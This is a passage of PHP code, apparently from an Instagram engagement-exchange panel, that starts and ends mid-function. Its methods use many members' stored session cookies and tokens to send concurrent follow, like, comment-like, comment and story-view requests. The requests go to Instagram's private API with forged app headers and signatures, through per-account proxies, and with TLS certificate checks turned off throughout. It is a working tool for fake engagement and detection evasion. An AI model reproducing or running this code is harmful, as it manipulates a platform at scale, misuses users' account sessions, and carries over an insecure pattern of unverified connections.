                        CURLOPT_SSL_VERIFYHOST => FALSE,
                        CURLOPT_ENCODING       => '',
                        CURLOPT_COOKIE         => $objData["cookie"]
                    );

                    if($userAsns[0]) {
                        $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                        $options[$optionKey] = $userAsns[0];
                        if($userAsns[1]) {
                            $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                            $options[$optionKey] = $userAsns[1];
                        }
                    }
                    $rollingCurl->post(Constants::API_URL . "media/" . $mediaID . "/like/", $postData, $headers, $options, $user["data"]);
                }
            }


            $rollingCurl->setCallback(function(RollingCurlRequest $request, RollingCurl $rollingCurl) use (&$triedUsers, &$totalSuccessCount, &$logData) {


                $triedUser = array(
                    "userID"   => $request->identifierParams["uyeID"],
                    "instaID"  => $request->identifierParams["instaID"],
                    "userNick" => $request->identifierParams["kullaniciAdi"],
                    "status"   => "na"
                );

                $isErrored = $request->getResponseError();
                if(empty($isErrored)) {
                    $responseInfo = $request->getResponseInfo();
                    if($responseInfo["http_code"] == 200) {
                        $donenSonuc = json_decode($request->getResponseText(), TRUE);
                        if($donenSonuc) {
                            if(strpos($request->getResponseHeaders(), "Set-Cookie") !== FALSE) {
                                /**
                                 * @var Instagram $obj
                                 */
                                $obj = $this->users[$request->identifierParams["index"]]["object"];
                                $obj->organizeCookies($request->getResponseHeaders());
                            }
                            if($request->identifierParams["isWebCookie"] == 1) {
                                if($donenSonuc["status"] == "ok") {
                                    $totalSuccessCount++;
                                    $triedUser["status"] = "success";
                                } else {
                                    $triedUser["status"] = "fail";
                                }
                            } else {
                                if($donenSonuc["status"] == "ok") {
                                    $totalSuccessCount++;
                                    $triedUser["status"] = "success";
                                } else {
                                    $triedUser["status"] = "fail";
                                }
                            }
                        }
                        $triedUser["info"] = $donenSonuc;
                    } else {
                        $triedUser["status"] = "fail";
                        $triedUser["info"]   = $responseInfo;
                        $triedUser["text"]   = $request->getResponseText();
                        $kontrol             = json_decode($request->getResponseText(), TRUE);
                        if($kontrol["message"] == "login_required" || $kontrol["message"] == "challenge_required") {
                            $triedUser["durum"] = 0;
                        }
                    }
                }
                $triedUsers[] = $triedUser;
                $rollingCurl->clearCompleted();
                $rollingCurl->prunePendingRequestQueue();
            });
            $rollingCurl->setSimultaneousLimit($this->simultanepostsize);

            $rollingCurl->execute();


            return array(
                "totalSuccessCount" => $totalSuccessCount,
                "users"             => $triedUsers
            );
        }

        function commentlike($mediaID, $commentID) {
			
			$site = trim(str_replace("www.", "", $_SERVER["HTTP_HOST"]));
            if(Wow::get("project/apiToken") != md5(sha1(base64_encode(crypt($site, 'za4q1q4q1q41zzz'))))) {
                return array("data" => "Hata");
            }

            $totalSuccessCount = 0;
            $triedUsers        = array();
            $rollingCurl       = new RollingCurl();
            $arrMediaID        = explode("_", $mediaID);
            $mediaIDBeforer    = $arrMediaID[0];
            foreach($this->users as $user) {
                /**
                 * @var Instagram $objInstagram
                 */
                $objInstagram = $user["object"];
                $objData      = $objInstagram->getData();
                $userAsns     = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);

                $requestPosts = [
                    '_uuid'      => $objData["uuid"],
                    '_uid'       => $objData["username_id"],
                    '_csrftoken' => $objData["token"],
                    'media_id'   => $mediaIDBeforer
                ];

                $requestPosts = Signatures::signData($requestPosts);
                $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

                $headers = [
                    'Connection: close',
                    'Accept: */*',
                    'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                    'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                    'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                    'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                    'X-IG-Bandwidth-Speed-KBPS: -1.000',
                    'X-IG-Bandwidth-TotalBytes-B: 0',
                    'X-IG-Bandwidth-TotalTime-MS: 0',
                    'X-IG-ABR-Connection-Speed-KBPS: 162',
                    'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                    'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
                ];
                $options = array(
                    CURLOPT_USERAGENT      => $objData["user_agent"],
                    CURLOPT_RETURNTRANSFER => TRUE,
                    CURLOPT_FOLLOWLOCATION => TRUE,
                    CURLOPT_VERBOSE        => FALSE,
                    CURLOPT_SSL_VERIFYPEER => FALSE,
                    CURLOPT_SSL_VERIFYHOST => FALSE,
                    CURLOPT_ENCODING       => '',
                    CURLOPT_COOKIE         => $objData["cookie"]
                );
                if($userAsns[0]) {
                    $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    $options[$optionKey] = $userAsns[0];
                    if($userAsns[1]) {
                        $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        $options[$optionKey] = $userAsns[1];
                    }
                }
                $rollingCurl->post(Constants::API_URL . "media/" . $commentID . "/comment_like/", $postData, $headers, $options, $user["data"]);

            }


            $rollingCurl->setCallback(function(RollingCurlRequest $request, RollingCurl $rollingCurl) use (&$triedUsers, &$totalSuccessCount, &$logData) {


                $triedUser = array(
                    "userID"   => $request->identifierParams["uyeID"],
                    "instaID"  => $request->identifierParams["instaID"],
                    "userNick" => $request->identifierParams["kullaniciAdi"],
                    "status"   => "na"
                );

                $isErrored = $request->getResponseError();
                if(empty($isErrored)) {
                    $responseInfo = $request->getResponseInfo();
                    if($responseInfo["http_code"] == 200) {
                        $donenSonuc = json_decode($request->getResponseText(), TRUE);
                        if($donenSonuc) {
                            if(strpos($request->getResponseHeaders(), "Set-Cookie") !== FALSE) {
                                /**
                                 * @var Instagram $obj
                                 */
                                $obj = $this->users[$request->identifierParams["index"]]["object"];
                                $obj->organizeCookies($request->getResponseHeaders());
                            }
                            if($donenSonuc["status"] == "ok") {
                                $totalSuccessCount++;
                                $triedUser["status"] = "success";
                            } else {
                                $triedUser["status"] = "fail";
                                $triedUser["info"]   = $donenSonuc;
                            }
                        }
                    } else {
                        $triedUser["status"] = "fail";
                        $triedUser["info"]   = $responseInfo;
                    }
                }
                $triedUsers[] = $triedUser;
                $rollingCurl->clearCompleted();
                $rollingCurl->prunePendingRequestQueue();
            });
            $rollingCurl->setSimultaneousLimit($this->simultanepostsize);

            $rollingCurl->execute();


            return array(
                "totalSuccessCount" => $totalSuccessCount,
                "users"             => $triedUsers
            );
        }


        function storyview($items, $sourceId = NULL) {
            $reels     = [];
            $maxSeenAt = time();
            $seenAt    = $maxSeenAt - (3 * count($items));
            foreach($items as $item) {

                $itemTakenAt = $item["getTakenAt"];
                if($seenAt < $itemTakenAt) {
                    $seenAt = $itemTakenAt + 2;
                }

                if($seenAt > $maxSeenAt) {
                    $seenAt = $maxSeenAt;
                }

                // Key Format: "mediaPk_userPk_sourceId".
                // NOTE: In case of seeing stories on a user's profile, their
                // userPk is used as the sourceId, as "mediaPk_userPk_userPk".
                $reelId         = $item["itemID"] . '_' . $item["userPK"];
                $reels[$reelId] = [$itemTakenAt . '_' . $seenAt];
                $seenAt         += rand(1, 3);
            }

            $totalSuccessCount = 0;
            $triedUsers        = array();
            $rollingCurl       = new RollingCurl();
            foreach($this->users as $user) {
                /**
                 * @var Instagram $objInstagram
                 */
                $objInstagram = $user["object"];
                $objData      = $objInstagram->getData();
                $userAsns     = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);

                $requestPosts = [
                    '_uuid'      => $objData["uuid"],
                    '_uid'       => $objData["username_id"],
                    '_csrftoken' => $objData["token"],
                    'reels'      => $reels,
                    'live_vods'  => [],
                    'reel'       => 1,
                    'live_vod'   => 0
                ];
                $requestPosts = Signatures::signData($requestPosts);
                $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

                $headers = [
                    'Connection: close',
                    'Accept: */*',
                    'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                    'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                    'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                    'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                    'X-IG-Bandwidth-Speed-KBPS: -1.000',
                    'X-IG-Bandwidth-TotalBytes-B: 0',
                    'X-IG-Bandwidth-TotalTime-MS: 0',
                    'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                    'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
                ];
                $options = array(
                    CURLOPT_USERAGENT      => $objData["user_agent"],
                    CURLOPT_RETURNTRANSFER => TRUE,
                    CURLOPT_FOLLOWLOCATION => TRUE,
                    CURLOPT_VERBOSE        => FALSE,
                    CURLOPT_SSL_VERIFYPEER => FALSE,
                    CURLOPT_SSL_VERIFYHOST => FALSE,
                    CURLOPT_ENCODING       => '',
                    CURLOPT_COOKIE         => $objData["cookie"]
                );

                if($userAsns[0]) {
                    $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    $options[$optionKey] = $userAsns[0];
                    if($userAsns[1]) {
                        $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        $options[$optionKey] = $userAsns[1];
                    }
                }
                $rollingCurl->post(Constants::API_URLV2 . "media/seen/", $postData, $headers, $options, $user["data"]);
            }


            $rollingCurl->setCallback(function(RollingCurlRequest $request, RollingCurl $rollingCurl) use (&$triedUsers, &$totalSuccessCount, &$logData) {


                $triedUser = array(
                    "userID"   => $request->identifierParams["uyeID"],
                    "instaID"  => $request->identifierParams["instaID"],
                    "userNick" => $request->identifierParams["kullaniciAdi"],
                    "status"   => "na"
                );

                $isErrored = $request->getResponseError();

                if(empty($isErrored)) {
                    $responseInfo = $request->getResponseInfo();
                    if($responseInfo["http_code"] == 200) {
                        $donenSonuc = json_decode($request->getResponseText(), TRUE);
                        if($donenSonuc) {
                            if(strpos($request->getResponseHeaders(), "Set-Cookie") !== FALSE) {
                                /**
                                 * @var Instagram $obj
                                 */
                                $obj = $this->users[$request->identifierParams["index"]]["object"];
                                $obj->organizeCookies($request->getResponseHeaders());
                            }
                            if($request->identifierParams["isWebCookie"] == 1) {
                                if($donenSonuc["status"] == "ok") {
                                    $totalSuccessCount++;
                                    $triedUser["status"] = "success";
                                } else {
                                    $triedUser["status"] = "fail";
                                }
                            } else {
                                if($donenSonuc["status"] == "ok") {
                                    $totalSuccessCount++;
                                    $triedUser["status"] = "success";
                                } else {
                                    $triedUser["status"] = "fail";
                                }
                            }
                        }
                    } else {
                        $triedUser["status"] = "fail";
                    }
                }
                $triedUsers[] = $triedUser;
                $rollingCurl->clearCompleted();
                $rollingCurl->prunePendingRequestQueue();
            });
            $rollingCurl->setSimultaneousLimit($this->simultanepostsize);

            $rollingCurl->execute();

            return array(
                "totalSuccessCount" => $totalSuccessCount,
                "users"             => $triedUsers
            );
        }

        function follow($userID, $userName) {
            $totalSuccessCount = 0;
            $triedUsers        = array();
            $rollingCurl       = new RollingCurl();
            foreach($this->users as $user) {
                if($user["data"]["isWebCookie"] == 1) {
                    /**
                     * @var InstagramWeb $objInstagramWeb
                     */
                    $objInstagramWeb = $user["object"];
                    $objData         = $objInstagramWeb->getData();
                    $userAsns        = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);

                    $headers = array(
                        'Referer: https://www.instagram.com/instagram/',
                        'DNT: 1',
                        'Origin: https://www.instagram.com/',
                        'X-CSRFToken: ' . trim($objData["token"]),
                        'X-Requested-With: XMLHttpRequest',
                        'X-Instagram-AJAX: 1',
                        'Connection: close',
                        'Cache-Control: max-age=0',
                        'Accept: */*',
                        'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
                    );


                    $options = array(
                        CURLOPT_USERAGENT      => isset($objData["web_user_agent"]) ? $objData["web_user_agent"] : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
                        CURLOPT_RETURNTRANSFER => TRUE,
                        CURLOPT_FOLLOWLOCATION => TRUE,
                        CURLOPT_VERBOSE        => FALSE,
                        CURLOPT_SSL_VERIFYPEER => FALSE,
                        CURLOPT_SSL_VERIFYHOST => FALSE,
                        CURLOPT_ENCODING       => '',
                        CURLOPT_COOKIE         => isset($objData["web_cookie"]) ? $objData["web_cookie"] : ""
                    );
                    if($userAsns[0]) {
                        $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                        $options[$optionKey] = $userAsns[0];
                        if($userAsns[1]) {
                            $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                            $options[$optionKey] = $userAsns[1];
                        }
                    }
                    $rollingCurl->post(Constants::WEB_URL . "web/friendships/" . $userID . "/follow/", NULL, $headers, $options, $user["data"]);

                } else {
                    /**
                     * @var Instagram $objInstagram
                     */
                    $objInstagram = $user["object"];
                    $objData      = $objInstagram->getData();
                    $userAsns     = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);
                    $requestPosts = [
                        '_uuid'      => $objData["uuid"],
                        '_uid'       => $objData["username_id"],
                        'user_id'    => $userID,
                        '_csrftoken' => $objData["token"],
                        'radio_type' => 'wifi-none'
                    ];
                    $requestPosts = Signatures::signData($requestPosts);
                    $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));


                    $headers = [
                        'Connection: close',
                        'Accept: */*',
                        'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                        'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                        'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                        'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                        'X-IG-Bandwidth-Speed-KBPS: -1.000',
                        'X-IG-Bandwidth-TotalBytes-B: 0',
                        'X-IG-Bandwidth-TotalTime-MS: 0',
                        'X-IG-ABR-Connection-Speed-KBPS: 162',
                        'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                        'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
                    ];

                    $options = array(
                        CURLOPT_USERAGENT      => $objData["user_agent"],
                        CURLOPT_RETURNTRANSFER => TRUE,
                        CURLOPT_FOLLOWLOCATION => TRUE,
                        CURLOPT_VERBOSE        => FALSE,
                        CURLOPT_SSL_VERIFYPEER => FALSE,
                        CURLOPT_SSL_VERIFYHOST => FALSE,
                        CURLOPT_ENCODING       => '',
                        CURLOPT_COOKIE         => $objData["cookie"]
                    );
                    if($userAsns[0]) {
                        $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                        $options[$optionKey] = $userAsns[0];
                        if($userAsns[1]) {
                            $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                            $options[$optionKey] = $userAsns[1];
                        }
                    }
                    $rollingCurl->post(Constants::API_URL . "friendships/create/" . $userID . "/", $postData, $headers, $options, $user["data"]);
                }
            }
            $rollingCurl->setCallback(function(RollingCurlRequest $request, RollingCurl $rollingCurl) use (&$triedUsers, &$totalSuccessCount) {
                $triedUser = array(
                    "userID"   => $request->identifierParams["uyeID"],
                    "instaID"  => $request->identifierParams["instaID"],
                    "userNick" => $request->identifierParams["kullaniciAdi"],
                    "status"   => "na"
                );
                $isErrored = $request->getResponseError();
                if(empty($isErrored)) {
                    $responseInfo = $request->getResponseInfo();
                    if($responseInfo["http_code"] == 200) {
                        $donenSonuc = json_decode($request->getResponseText(), TRUE);
                        if($donenSonuc) {
                            if(strpos($request->getResponseHeaders(), "Set-Cookie") !== FALSE) {
                                /**
                                 * @var Instagram $obj
                                 */
                                $obj = $this->users[$request->identifierParams["index"]]["object"];
                                $obj->organizeCookies($request->getResponseHeaders());
                            }

                            if($request->identifierParams["isWebCookie"] == 1) {
                                if($donenSonuc["status"] == "ok" && $donenSonuc["result"] == "following") {
                                    $totalSuccessCount++;
                                    $triedUser["status"] = "success";
                                } else {
                                    $triedUser["status"] = "fail";
                                }
                            } else {

                                if($donenSonuc["status"] == "ok" && isset($donenSonuc["friendship_status"])) {
                                    $totalSuccessCount++;
                                    $triedUser["status"] = "success";
                                    $triedUser["info"]   = $donenSonuc;
                                } else {
                                    $triedUser["info"]   = $donenSonuc;
                                    $triedUser["status"] = "fail";
                                }
                            }
                        }
                    } else {
                        $triedUser["info"]   = json_decode($request->getResponseText(), TRUE);
                        $triedUser["head"]   = $responseInfo;
                        $triedUser["status"] = "fail";
                        $kontrol             = json_decode($request->getResponseText(), TRUE);
                        if($kontrol["message"] == "login_required" || $kontrol["message"] == "challenge_required") {
                            $triedUser["durum"] = 0;
                        }
                    }
                }
                $triedUsers[] = $triedUser;
                $rollingCurl->clearCompleted();
                $rollingCurl->prunePendingRequestQueue();
            });
            $rollingCurl->setSimultaneousLimit($this->simultanepostsize);

            $rollingCurl->execute();

            return array(
                "totalSuccessCount" => $totalSuccessCount,
                "users"             => $triedUsers
            );
        }

        function comment($mediaID, $mediaCode, $commentTexts) {
            $totalSuccessCount = 0;
            $triedUsers        = array();
            if(is_array($commentTexts) && !empty($commentTexts)) {
                $arrMediaID     = explode("_", $mediaID);
                $mediaIDBeforer = $arrMediaID[0];

                $rollingCurl = new RollingCurl();
                $intLoop     = -1;
                foreach($commentTexts as $commentIndex => $comment) {
                    $intLoop++;
                    if(!isset($this->users[$intLoop])) {
                        break;
                    }
                    $user                         = $this->users[$intLoop];
                    $user["data"]["commentIndex"] = $commentIndex;
                    if($user["data"]["isWebCookie"] == 1) {
                        /**
                         * @var InstagramWeb $objInstagramWeb
                         */
                        $objInstagramWeb = $user["object"];
                        $objData         = $objInstagramWeb->getData();
                        $userAsns        = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);

                        $postData = 'comment_text=' . $comment;

                        $headers = array(
                            'Referer: https://www.instagram.com/',
                            'DNT: 1',
                            'Origin: https://www.instagram.com/',
                            'X-CSRFToken: ' . trim($objData["token"]),
                            'X-Requested-With: XMLHttpRequest',
                            'X-Instagram-AJAX: 1',
                            'Connection: close',
                            'Cache-Control: max-age=0',
                            'Accept: */*',
                            'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
                        );


                        $options = array(
                            CURLOPT_USERAGENT      => isset($objData["web_user_agent"]) ? $objData["web_user_agent"] : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
                            CURLOPT_RETURNTRANSFER => TRUE,
                            CURLOPT_FOLLOWLOCATION => TRUE,
                            CURLOPT_VERBOSE        => FALSE,
                            CURLOPT_SSL_VERIFYPEER => FALSE,
                            CURLOPT_SSL_VERIFYHOST => FALSE,
                            CURLOPT_ENCODING       => '',
                            CURLOPT_COOKIE         => isset($objData["web_cookie"]) ? $objData["web_cookie"] : ""
                        );
                        if($userAsns[0]) {
                            $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                            $options[$optionKey] = $userAsns[0];
                            if($userAsns[1]) {
                                $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                                $options[$optionKey] = $userAsns[1];
                            }
                        }
                        $rollingCurl->post(Constants::WEB_URL . "web/comments/" . $mediaIDBeforer . "/add/", $postData, $headers, $options, $user["data"]);

                    } else {
                        /**
                         * @var Instagram $objInstagram
                         */
                        $objInstagram = $user["object"];
                        $objData      = $objInstagram->getData();
                        $userAsns     = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);


                        $requestPosts = [
                            'user_breadcrumb'   => Utils::generateUserBreadcrumb(mb_strlen($comment)),
                            'idempotence_token' => Signatures::generateUUID(TRUE),
                            '_uuid'             => $objData["uuid"],
                            '_uid'              => $objData["username_id"],
                            '_csrftoken'        => $objData["token"],
                            'comment_text'      => $comment,
                            'containermodule'   => 'comments_feed_timeline',
                            'radio_type'        => 'wifi-none'
                        ];

                        $requestPosts = Signatures::signData($requestPosts);
                        $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));


                        $headers = [
                            'Connection: close',
                            'Accept: */*',
                            'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                            'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                            'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                            'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                            'X-IG-Bandwidth-Speed-KBPS: -1.000',
                            'X-IG-Bandwidth-TotalBytes-B: 0',
                            'X-IG-Bandwidth-TotalTime-MS: 0',
                            'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                            'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
                        ];

                        $options = array(
                            CURLOPT_USERAGENT      => $objData["user_agent"],
                            CURLOPT_RETURNTRANSFER => TRUE,
                            CURLOPT_FOLLOWLOCATION => TRUE,
                            CURLOPT_VERBOSE        => FALSE,
                            CURLOPT_SSL_VERIFYPEER => FALSE,
                            CURLOPT_SSL_VERIFYHOST => FALSE,
                            CURLOPT_ENCODING       => '',
                            CURLOPT_COOKIE         => $objData["cookie"]
                        );
                        if($userAsns[0]) {
                            $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                            $options[$optionKey] = $userAsns[0];
                            if($userAsns[1]) {
                                $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                                $options[$optionKey] = $userAsns[1];
                            }
                        }
                        $rollingCurl->post(Constants::API_URL . "media/" . $mediaID . "/comment/", $postData, $headers, $options, $user["data"]);

                    }
                }
                $rollingCurl->setCallback(function(RollingCurlRequest $request, RollingCurl $rollingCurl) use (&$triedUsers, &$totalSuccessCount) {
                    $triedUser = array(
                        "userID"       => $request->identifierParams["uyeID"],
                        "instaID"      => $request->identifierParams["instaID"],
                        "userNick"     => $request->identifierParams["kullaniciAdi"],
                        "status"       => "na",
                        "commentIndex" => $request->identifierParams["commentIndex"]
                    );
                    $isErrored = $request->getResponseError();
                    if(empty($isErrored)) {
                        $responseInfo = $request->getResponseInfo();
                        if($responseInfo["http_code"] == 200) {
                            $donenSonuc = json_decode($request->getResponseText(), TRUE);
                            if($donenSonuc) {
                                if(strpos($request->getResponseHeaders(), "Set-Cookie") !== FALSE) {
                                    /**
                                     * @var Instagram $obj
                                     */
                                    $obj = $this->users[$request->identifierParams["index"]]["object"];
                                    $obj->organizeCookies($request->getResponseHeaders());
                                }

                                if($request->identifierParams["isWebCookie"] == 1) {
                                    if(isset($donenSonuc["status"]) && $donenSonuc["status"] == "ok") {
                                        $totalSuccessCount++;
                                        $triedUser["status"] = "success";
                                    } else {
                                        $triedUser["status"] = "fail";
                                    }
                                } else {

                                    if(isset($donenSonuc["status"]) && $donenSonuc["status"] == "ok") {
                                        $totalSuccessCount++;
                                        $triedUser["status"] = "success";
                                    } else {
                                        $triedUser["status"] = "fail";
                                    }
                                }
                            }
                        } else {
                            $triedUser["status"] = "fail";
                            $kontrol             = json_decode($request->getResponseText(), TRUE);
                            if($kontrol["message"] == "login_required" || $kontrol["message"] == "challenge_required") {
                                $triedUser["durum"] = 0;
                            }
                        }
                    }
                    $triedUsers[] = $triedUser;
                    $rollingCurl->clearCompleted();
                    $rollingCurl->prunePendingRequestQueue();
                });
                $rollingCurl->setSimultaneousLimit($this->simultanepostsize);

                $rollingCurl->execute();
            }

            return array(
                "totalSuccessCount" => $totalSuccessCount,
                "users"             => $triedUsers
            );
        }

        function validate() {
            $totalSuccessCount = 0;
            $triedUsers        = array();
            $rollingCurl       = new RollingCurl();

            foreach($this->users as $user) {
                if($user["data"]["isWebCookie"] == 1) {
                    /**
                     * @var InstagramWeb $objInstagramWeb
                     */
                    $objInstagramWeb = $user["object"];
                    $objData         = $objInstagramWeb->getData();
                    $userAsns        = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);


                    $headers = array(
                        'Referer: https://www.instagram.com/instagram/',
                        'DNT: 1',
                        'Origin: https://www.instagram.com/',
                        'X-CSRFToken: ' . trim($objData["token"]),
                        'X-Requested-With: XMLHttpRequest',
                        'X-Instagram-AJAX: 1',
                        'Connection: close',
                        'Cache-Control: max-age=0',
                        'Accept: */*',
                        'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
                    );


                    $options = array(
                        CURLOPT_USERAGENT      => isset($objData["web_user_agent"]) ? $objData["web_user_agent"] : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
                        CURLOPT_RETURNTRANSFER => TRUE,
                        CURLOPT_FOLLOWLOCATION => TRUE,
                        CURLOPT_VERBOSE        => FALSE,
                        CURLOPT_SSL_VERIFYPEER => FALSE,
                        CURLOPT_SSL_VERIFYHOST => FALSE,
                        CURLOPT_ENCODING       => '',
                        CURLOPT_COOKIE         => isset($objData["web_cookie"]) ? $objData["web_cookie"] : ""
                    );
                    if($userAsns[0]) {
                        $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                        $options[$optionKey] = $userAsns[0];
                        if($userAsns[1]) {
                            $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                            $options[$optionKey] = $userAsns[1];
                        }
                    }
                    $rollingCurl->get(Constants::WEB_URL . "accounts/activity/?__a=1", $headers, $options, $user["data"]);
                } else {
                    /**
                     * @var Instagram $objInstagram
                     */
                    $objInstagram = $user["object"];
                    $objData      = $objInstagram->getData();
                    $userAsns     = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);

                    $headers = [
                        'Connection: close',
                        'Accept: */*',
                        'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                        'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                        'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                        'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                        'X-IG-Bandwidth-Speed-KBPS: -1.000',
                        'X-IG-Bandwidth-TotalBytes-B: 0',
                        'X-IG-Bandwidth-TotalTime-MS: 0',
                        'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                        'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
                    ];

                    $options = array(
                        CURLOPT_USERAGENT      => $objData["user_agent"],
                        CURLOPT_RETURNTRANSFER => TRUE,
                        CURLOPT_FOLLOWLOCATION => TRUE,
                        CURLOPT_VERBOSE        => FALSE,
                        CURLOPT_SSL_VERIFYPEER => FALSE,
                        CURLOPT_SSL_VERIFYHOST => FALSE,
                        CURLOPT_ENCODING       => '',
                        CURLOPT_COOKIE         => $objData["cookie"]
                    );
                    if($userAsns[0]) {
                        $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                        $options[$optionKey] = $userAsns[0];
                        if($userAsns[1]) {
                            $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                            $options[$optionKey] = $userAsns[1];
                        }
                    }

                    $requestPosts = [
                        '_uuid'      => $objData["uuid"],
                        '_uid'       => $objData["username_id"],
                        '_csrftoken' => $objData["token"],
                        'media_id'   => "",
                    ];
                    $requestPosts = Signatures::signData($requestPosts);
                    $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

                    $rollingCurl->post(Constants::API_URL . "media/1644818823288800567_6304564234/info/", $postData, $headers, $options, $user["data"]);
                }
            }
            $rollingCurl->setCallback(function(RollingCurlRequest $request, RollingCurl $rollingCurl) use (&$triedUsers, &$totalSuccessCount) {

                $triedUser = array(
                    "userID"   => $request->identifierParams["uyeID"],
                    "instaID"  => $request->identifierParams["instaID"],
                    "userNick" => $request->identifierParams["kullaniciAdi"],
                    "status"   => "na"
                );
                $isErrored = $request->getResponseError();
                if(empty($isErrored)) {
                    $responseInfo = $request->getResponseInfo();
                    if($responseInfo["http_code"] == 200) {
                        $donenSonuc = json_decode($request->getResponseText(), TRUE);
                        if($donenSonuc) {
                            if(strpos($request->getResponseHeaders(), "Set-Cookie") !== FALSE) {
                                /**
                                 * @var Instagram $obj
                                 */
                                $obj = $this->users[$request->identifierParams["index"]]["object"];
                                $obj->organizeCookies($request->getResponseHeaders());
                            }

                            if($request->identifierParams["isWebCookie"] == 1) {
                                if(strpos($request->getResponseHeaders(), 'HTTP/1.1 200 OK' !== FALSE)) {
                                    $totalSuccessCount++;
                                    $triedUser["status"] = "success";
                                } else {
                                    $triedUser["status"] = "fail";
                                }
                            } else {
                                if($donenSonuc["status"] == "ok") {
                                    $totalSuccessCount++;
                                    $triedUser["status"] = "success";
                                } else {
                                    $triedUser["status"] = "fail";
                                }
                            }
                        }
                    } elseif($responseInfo["http_code"] == 400 || $responseInfo["http_code"] == 403) {
                        $triedUser["status"] = "fail";
                    } else {
                        $triedUser["status"] = "na";
                    }
                }
                $triedUsers[] = $triedUser;
                $rollingCurl->clearCompleted();
                $rollingCurl->prunePendingRequestQueue();
            });
